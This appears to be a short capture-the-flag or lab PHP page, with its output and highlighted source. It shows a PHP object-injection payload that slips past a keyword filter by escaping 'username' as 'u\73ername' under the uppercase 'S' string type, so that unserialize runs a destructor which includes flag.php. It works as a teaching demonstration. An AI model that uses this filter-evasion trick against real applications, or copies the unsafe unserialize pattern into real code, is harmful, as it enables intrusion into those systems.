failed!!!
flag_{scxccvftgg@}
<?php

header('Content-Type: text/html; charset=utf-8');
class test{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
    public function  __destruct(){
        include('flag.php');
    }
}
function check($data){
    if(preg_match('/username/', $data)){
        echo("failed!!!</br>");
    }
    else{
        return $data;
    }
}
// 未作处理前，会被拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
$a = 'O:4:"test":1:{S:8:"u\\73ername";s:5:"admin";}';
$a = check($a);
unserialize($a);
highlight_file(__FILE__);
?>